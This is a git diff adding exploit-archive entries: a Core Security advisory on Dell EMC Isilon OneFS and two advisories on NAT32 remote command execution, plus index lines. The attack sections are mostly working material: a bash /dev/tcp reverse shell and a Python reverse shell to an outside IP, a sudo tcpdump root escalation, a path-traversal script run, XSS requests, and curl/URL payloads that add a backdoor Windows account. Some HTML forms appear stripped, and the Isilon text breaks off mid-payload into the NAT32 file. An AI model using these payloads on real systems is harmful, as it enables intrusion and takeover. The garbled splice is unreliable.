diff --git a/exploits/linux/webapps/44039.txt b/exploits/linux/webapps/44039.txt new file mode 100644 index 000000000..d85819bb7 --- /dev/null +++ b/exploits/linux/webapps/44039.txt @@ -0,0 +1,538 @@ +Core Security - Corelabs Advisory +http://corelabs.coresecurity.com/ +Dell EMC Isilon OneFS Multiple Vulnerabilities + +1. **Advisory Information** + +Title: Dell EMC Isilon OneFS Multiple Vulnerabilities +Advisory ID: CORE-2017-0009 +Advisory URL: +http://www.coresecurity.com/advisories/dell-emc-isilon-onefs-multiple-vulnerabilities +Date published: 2018-02-14 +Date of last update: 2018-02-14 +Vendors contacted: Dell EMC +Release mode: Coordinated release + +2. **Vulnerability Information** + +Class: Cross-Site Request Forgery [CWE-352], Improper Privilege +Management [CWE-269], Improper Privilege Management [CWE-269], Improper +Neutralization of Input During Web Page Generation [CWE-79], Improper +Neutralization of Input During Web Page Generation [CWE-79], Improper +Neutralization of Input During Web Page Generation [CWE-79], Improper +Neutralization of Input During Web Page Generation [CWE-79], Improper +Neutralization of Input During Web Page Generation [CWE-79], Improper +Neutralization of Input During Web Page Generation [CWE-79] +Impact: Code execution +Remotely Exploitable: Yes +Locally Exploitable: Yes +CVE Name: CVE-2018-1213, CVE-2018-1203, CVE-2018-1204, CVE-2018-1186, +CVE-2018-1187, CVE-2018-1188, CVE-2018-1189, CVE-2018-1201, +CVE-2018-1202 + +3. **Vulnerability Description** + +Dell EMC's website states that:[1] + +The EMC Isilon scale-out NAS storage platform combines modular hardware +with unified software to harness unstructured data. Powered by the OneFS +operating system, an EMC Isilon cluster delivers a scalable pool of +storage with a global namespace. + +The platform's unified software provides centralized Web-based and +command-line administration to manage the following features: + +- A cluster that runs a distributed file system + +- Scale-out nodes that add capacity and performance + +- Storage options that manage files and tiering + +- Flexible data protection and high availability + +- Software modules that control costs and optimize resources + +Multiple vulnerabilities were found in the Isilon OneFS Web console that +would allow a remote attacker to gain command execution as root. + +4. **Vulnerable Packages** + +. Dell EMC Isilon OneFS version 8.1.1.0 (CVE-2018-1203, CVE-2018-1204) +. Dell EMC Isilon OneFS versions between 8.1.0.0 - 8.1.0.1 (all CVEs) +. Dell EMC Isilon OneFS versions between 8.0.1.0 - 8.0.1.2 (all CVEs) +. Dell EMC Isilon OneFS versions between 8.0.0.0 - 8.0.0.6 (all CVEs) +. Dell EMC Isilon OneFS versions 7.2.1.x (CVE-2018-1186, CVE-2018-1188, + CVE-2018-1201, CVE-2018-1204, CVE-2018-1213) +. Dell EMC Isilon OneFS version 7.1.1.11 (CVE-2018-1186, CVE-2018-1201, + CVE-2018-1202, CVE-2018-1204, CVE-2018-1213) + +Other products and versions might be affected, but they were not tested. + +5. **Vendor Information, Solutions and Workarounds** + +Dell EMC provided a link to the Download for Isilon OneFS page which +contains the patches: + +. https://support.emc.com/downloads/15209_Isilon-OneFS + +6. **Credits** + +These vulnerabilities were discovered and researched by Ivan Huertas and +Maximiliano Vidal from Core Security Consulting Services. The +publication of this advisory was coordinated by Alberto Solino from Core +Advisories Team. + +7. **Technical Description / Proof of Concept Code** + +The Web console contains several sensitive features that are vulnerable +to cross-site request forgery. We describe this issue in section 7.1. + +Sections 7.2 and 7.3 show two vectors to escalate privileges to root. + +Various persistent cross-site scripting issues are presented in the +remaining sections (7.4, 7.5, 7.6, 7.7, 7.8, 7.9). + +7.1. **Cross-site request forgery leading to command execution** + +[CVE-2018-1213] +There are no anti-CSRF tokens in any forms on the Web interface. +This would allow an attacker to submit authenticated requests when an +authenticated user browses an attacker-controlled domain. + +The Web console contains a plethora of sensitive actions that can be +abused, such as adding new users with SSH access or re-mapping existing +storage directories to allow read-write-execute access to all users. + +All requests are JSON-encoded, which in some cases might hinder +exploitation of CSRF vulnerabilities. However, the application does not +verify the content-type set. This allows an attacker to exploit the CSRF +vulnerabilities by setting a text/plain content-type and sending the +request body as JSON_PAYLOAD=ignored. + +The following proof of concept creates a new user and assigns him a new +role with enough privileges to log in via SSH, configure identifies, +manage authentication providers, configure the cluster and run the +remote support tools. + +/----- + +
+ + + + + +-----/ + +7.2. **Privilege escalation due to incorrect sudo permissions** + +[CVE-2018-1203] +The compadmin user can run the tcpdump binary with root privileges via +sudo. This allows for local privilege escalation, as tcpdump can be +instructed to run shell commands when rotating capture files. + +/----- +pepe-1$ id +uid=11(compadmin) gid=0(wheel) groups=0(wheel),1(daemon) +pepe-1$ cat /tmp/lala.sh +#!/bin/bash + +bash -i >& /dev/tcp/192.168.1.66/8888 0>&1 +-----/ + +Once the desired shell script is in place, the attacker can run tcpdump +as follows to trigger the execution: + +/----- +pepe-1$ sudo tcpdump -i em0 -G 1 -z /tmp/lala.sh -w dump +tcpdump: WARNING: unable to contact casperd +tcpdump: listening on em0, link-type EN10MB (Ethernet), capture size +65535 bytes +/tmp/lala.sh: connect: Connection refused +/tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused +/tmp/lala.sh: connect: Connection refused +/tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused +-----/ + +As can be seen below, the script runs with root privileges: + +/----- +$ nc -lvp 8888 +Listening on [0.0.0.0] (family 0, port 8888) +Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, +sport 57692) +bash: no job control in this shell +[root@pepe-1 /compadmin]# id +uid=0(root) gid=0(wheel) +groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) +-----/ + +7.3. **Privilege escalation via remote support scripts** + +[CVE-2018-1204] +From the documentation: + +"OneFS allows remote support through EMC Secure Remote Services (ESRS) +which monitors your EMC Isilon cluster, and with your permission, allows +remote access to Isilon Technical Support personnel to gather cluster +data and troubleshoot issues." + +"After you enable remote support through ESRS, Isilon Technical Support +personnel can request logs with scripts that gather EMC Isilon cluster +data and then upload the data. +The remote support scripts based on the Isilon isi_gather_info +log-gathering tool are located in the /ifs/data/Isilon_Support/ +directory on each node." + +"Additionally, isi_phone_home, a tool that focuses on cluster- and +node-specific data, is enabled once you enable ESRS. This tool is +pre-set to send information about your cluster to Isilon Technical +Support on a weekly basis. You can disable or enable isi_phone_home from + the OneFS command-line interface." + +As a cluster administrator or compadmin, it is possible to enable the +remote support functionality, hence enabling the isi_phone_home tool via +sudo. This tool is vulnerable to a path traversal when reading the +script file to run, which would enable an attacker to execute arbitrary +python code with root privileges. + +If remote support is not enabled, an attacker could perform the +following operations in order to enable it: + +/----- +pepe-1$ sudo isi network subnets create 1 ipv4 1 +pepe-1$ sudo isi network pools create 1.0 +pepe-1$ sudo isi remotesupport connectemc modify --enabled=yes +--primary-esrs-gateway=10.10.10.10 --use-smtp-failover=no +--gateway-access-pools=1.0 +-----/ + +The isi_phone_home tool is supposed to run scripts located in the +root-only writable directory /usr/local/isi_phone_home/script. +However, the provided script name is used to construct the file path +without sanitization, allowing an attacker to reference other locations. + +/----- +def run_script(script_file_name): + script_path = CFG.get('SCRIPTDIR') + '/' + script_file_name + if os.path.isfile(script_path): + cmd = 'python ' + script_path + ' 2>&1 ' + command_thread = command.Command(cmd) + exit_code, output = +command_thread.run(int(CFG.get("SCRIPT_TIEMOUT"))) + if exit_code: + logging.error("Error: {0} running script: {1} +".format(str(exit_code), output)) + else: + logging.error("File: {0} list_file_name doesn't exist +".format(script_path)) +-----/ + +The final step would be to create a malicious python script on any +writable location and call it via the isi_phone_tool using sudo. +Keep in mind that the previous steps are not required if the system does +already have remote support enabled. + +/----- +pepe-1$ cat /tmp/lala.py +#!/usr/bin/env python + +import socket,subprocess,os +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) +s.connect(("192.168.1.66",8888)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(["/bin/sh","-i"]) + +pepe-1$ sudo /usr/bin/isi_phone_home --script-file +../../../../../tmp/lala.py +-----/ + +/----- +$ nc -lvp 8888 +Listening on [0.0.0.0] (family 0, port 8888) +Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, +sport 56807) +pepe-1# id +uid=0(root) gid=0(wheel) +groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) +-----/ + +7.4. *Persistent cross-site scripting in the cluster description* + +[CVE-2018-1186] +The description parameter of the /cluster/identity endpoint is +vulnerable to cross-site scripting. + +After the cluster's description is updated, the payload will be executed +every time the user opens the Web console. + +/----- +PUT /platform/3/cluster/identity HTTP/1.1 +Host: 192.168.1.11:8080 +User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) +Gecko/20100101 Firefox/55.0 +Accept: */* +Accept-Language: en-US,en;q=0.5 +Content-Type: application/json +X-Requested-With: XMLHttpRequest +Content-Length: 61 +Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; +Connection: close + +{"description":"my cluster=$ususerbio?>
+run start net user D1rty0Tis abc123 /add Done ++ + +If NAT32 'Password Checking' feature IS enabled, remote attackers can STILL potentially issue arbitrary commands exploiting a +Cross Site Scripting vulnerability in the HTTPD code of NAT32, if authenticated NAT32 users click a malicious link +or visit an attacker controlled webpage. + +Also worth mentioning, NAT32 implements BASIC authentication which pass BASE64 Encoded credentials which can be easily +revealed if sniffed on network. + +When 'Password Checking' is enabled attackers using Ajax calls via XSS would need to use a combination of '%0D%0A' and double encoding +to deal with 'white-space' in order for the payload to stay intact. + +%25 for '%' sign then 20 (%2520) = %20, using %20 or %2B will not cut it, however '%0D%0A' (CRLF) and '%2520' encoding serves us well. + +NAT32 has an interesting Command 'EXECR' that can allow attackers to capture Command output response from the server to see right away if an +attack was success or not. + +e.g. + +Add account and get response (EXECR) + +HTTP Response: + + +
The command completed successfully. + +execr net user D1rty0Tis abc123 /add Done ++ + +The NAT32 'winroute' Command will return host route information. + +XSS response + +e.g. + + + +
Destination Mask Nexthop Metric IfIndex Type Proto Age +0.0.0.0 0.0.0.0 192.168.1.2 10 b 4 3 21:41 [min:sec] +127.0.0.0 255.0.0.0 127.0.0.1 306 1 3 3 22:04 [min:sec] +127.0.0.1 255.255.255.255 127.0.0.1 306 1 3 3 22:04 [min:sec] +127.255.255.255 255.255.255.255 127.0.0.1 306 1 3 3 22:04 [min:sec] ++ + +Exploit/POC: +============= +NET32 Password Checking not enabled... + +C:\>curl "http://x.x.x.x:8080/shell?cmd=run+net+user+D1rty0Tis+abc123+/add" + + +NAT32 BASIC authentication enabled use XSS... + +Add backdoor account and capture CMD output using NAT32 'execr' shell command. +http://x.x.x.x:8080/shell?cmd= + +Get Windows Routes (info disclosure): +http://x.x.x.x:8080/shell?cmd=%3Cscript%3Evar%0D%0Axhr=new%0D%0AXMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){alert(xhr.responseText);}};xhr.open(%27GET%27,%27http://x.x.x.x:8080/shell?cmd=winroute%27,true);xhr.send(null);%3C/script%3E + + + +Network Access: +=============== +Remote + + +Severity: +========= +High + + +Disclosure Timeline: +============================= +Vendor Notification: February 9, 2018 +Vendor acknowledgement: February 9, 2018 +Vendor "I've decided to remove the HTTPD code from Build 22284 of NAT32" : February 12, 2018 +www.nat32.com website reads "NAT32 Version 2.2 Build 22284 is temporarily unavailable." : February 13, 2018 +February 14, 2018 : Public Disclosure + + + +[+] Disclaimer +The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. +Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and +that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit +is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility +for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information +or exploits by the author or elsewhere. All content (c). \ No newline at end of file diff --git a/exploits/windows/webapps/44034.txt b/exploits/windows/webapps/44034.txt new file mode 100644 index 000000000..494e3f93b --- /dev/null +++ b/exploits/windows/webapps/44034.txt @@ -0,0 +1,75 @@ +[+] Credits: hyp3rlinx +[+] Website: hyp3rlinx.altervista.org +[+] Source: http://hyp3rlinx.altervista.org/advisories/NAT32-REMOTE-COMMAND-EXECUTION-CSRF-CVE-2018-6941.txt +[+] ISR: Apparition Security + +[-_-] D1rty0tis + + +Vendor: +============= +www.nat32.com + + +Product: +=========== +NAT32 Build (22284) + +NAT32® is a versatile IP Router implemented as a WIN32 application. + + +Vulnerability Type: +=================== +Remote Command Execution (CSRF) + + +CVE Reference: +============== +CVE-2018-6941 + + +Security Issue: +================ +CSRF issue exists in the HTTPD component of NAT32 v2.2 Build 22284 devices that can be exploited for Remote Code Execution. + +Remote attackers can potentially execute arbitrary System Commands due to a Cross Site Request Forgery, if an authenticated NAT32 user clicks a malicious link +or visits an attacker controlled webpage as NAT32 performs no check for blind requests. + +Its also worth mentioning is NAT32 implements BASIC authentication which pass BASE64 Encoded credentials which can be easily revealed if sniffed on network. + + +Exploit/POC: +============= +Backdoor clicker + + + +Network Access: +=============== +Remote + + + +Severity: +========= +High + + + +Disclosure Timeline: +============================= +Vendor Notification: February 9, 2018 +Vendor acknowledgement: February 9, 2018 +Vendor "I've decided to remove the HTTPD code from Build 22284 of NAT32" : February 12, 2018 +www.nat32.com website reads "NAT32 Version 2.2 Build 22284 is temporarily unavailable." : February 13, 2018 +February 14, 2018 : Public Disclosure + + + +[+] Disclaimer +The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. +Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and +that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit +is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility +for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information +or exploits by the author or elsewhere. All content (c). \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 331a4335b..4b8353484 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -5493,6 +5493,7 @@ id,file,description,date,author,type,platform,port 43996,exploits/android/dos/43996.txt,"Android - 'getpidcon' Permission Bypass in KeyStore Service",2018-02-07,"Google Security Research",dos,android, 43998,exploits/multiple/dos/43998.txt,"Multiple OEM - 'nsd' Remote Stack Format String (PoC)",2017-12-14,bashis,dos,multiple, 44007,exploits/macos/dos/44007.c,"macOS Kernel - Use-After-Free Due to Lack of Locking in 'AppleEmbeddedOSSupportHostClient::registerNotificationPort'",2018-02-09,"Google Security Research",dos,macos, +44035,exploits/windows/dos/44035.py,"GNU binutils 2.26.1 - Integer Overflow (POC)",2018-02-14,r4xis,dos,windows, 41643,exploits/hardware/dos/41643.txt,"Google Nest Cam 5.2.1 - Buffer Overflow Conditions Over Bluetooth LE",2017-03-20,"Jason Doyle",dos,hardware, 41645,exploits/windows/dos/41645.txt,"Microsoft Windows Kernel - Registry Hive Loading Crashes in nt!nt!HvpGetBinMemAlloc / nt!ExpFindAndRemoveTagBigPages (MS17-017)",2017-03-20,"Google Security Research",dos,windows, 41646,exploits/windows/dos/41646.txt,"Microsoft Windows - Uniscribe Font Processing Out-of-Bounds Read in usp10!otlChainRuleSetTable::rule (MS17-011)",2017-03-20,"Google Security Research",dos,windows, @@ -38037,6 +38038,12 @@ id,file,description,date,author,type,platform,port 44028,exploits/php/webapps/44028.txt,"TypeSetter CMS 5.1 - 'Host' Header Injection",2018-02-13,"Navina Asrani",webapps,php, 44029,exploits/php/webapps/44029.html,"TypeSetter CMS 5.1 - Cross-Site Request Forgery",2018-02-13,"Navina Asrani",webapps,php, 44030,exploits/php/webapps/44030.txt,"News Website Script 2.0.4 - 'search' SQL Injection",2018-02-13,"Varun Bagaria",webapps,php, +44033,exploits/windows/webapps/44033.txt,"NAT32 2.2 Build 22284 - Remote Command Execution",2018-02-14,hyp3rlinx,webapps,windows, +44034,exploits/windows/webapps/44034.txt,"NAT32 2.2 Build 22284 - Cross-Site Request Forgery",2018-02-14,hyp3rlinx,webapps,windows, +44036,exploits/php/webapps/44036.txt,"Social Oauth Login PHP - Authentication Bypass",2018-02-14,L0RD,webapps,php, +44037,exploits/php/webapps/44037.txt,"SOA School Management - 'access_login' SQL Injection",2018-02-14,L0RD,webapps,php, +44038,exploits/php/webapps/44038.txt,"userSpice 4.3 - Cross-Site Scripting",2018-02-14,"Dolev Farhi",webapps,php, +44039,exploits/linux/webapps/44039.txt,"Dell EMC Isilon OneFS - Multiple Vulnerabilities",2018-02-14,"Core Security",webapps,linux, 41641,exploits/php/webapps/41641.txt,"Joomla! Component JooCart 2.x - 'product_id' SQL Injection",2017-03-20,"Ihsan Sencan",webapps,php, 41642,exploits/php/webapps/41642.txt,"Joomla! Component jCart for OpenCart 2.0 - 'product_id' SQL Injection",2017-03-20,"Ihsan Sencan",webapps,php, 41644,exploits/php/webapps/41644.txt,"phplist 3.2.6 - SQL Injection",2017-03-20,"Curesec Research Team",webapps,php,80